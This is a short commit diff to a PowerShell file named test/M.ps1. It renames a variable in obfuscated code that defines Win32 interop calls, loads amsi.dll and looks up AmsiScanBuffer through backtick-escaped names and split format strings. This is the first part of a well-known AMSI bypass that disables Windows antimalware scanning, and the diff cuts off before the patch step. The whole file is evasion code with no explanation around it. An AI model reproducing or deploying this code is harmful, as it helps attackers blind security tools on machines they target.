Update test/M.ps1

test/M.ps1

@@ -1,4 +1,4 @@
-${W`I`N`32} = @"
+$W = @"
 using System;
 using System.Runtime.InteropServices;
 
@@ -16,7 +16,7 @@ public class Win32 {
 }
 "@
 
-Add-Type ${W`IN`32}
+Add-Type $W
 
 ${loaD`LiBR`Ary} = [WIN32]::LoadLibrary("am" + ("{0}{1}"-f'si.dl','l'))
 ${A`DDre`sS} = [Win32]::GetProcAddress(${LOadliBr`A`Ry}, ("{1}{0}"-f 'i','Ams') + ("{0}{1}" -f'Sc','an') + ("{1}{0}" -f'er','Buff'))